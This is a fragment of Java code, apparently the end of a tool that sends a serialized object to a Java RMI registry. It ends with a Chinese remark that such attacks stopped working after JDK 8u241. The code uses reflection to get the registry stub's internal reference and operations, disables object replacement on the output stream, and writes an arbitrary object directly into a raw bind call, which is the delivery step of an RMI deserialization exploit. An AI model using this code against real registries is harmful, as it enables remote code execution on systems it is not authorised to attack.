UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
8u241之后对RMI反序列化攻击就基本无了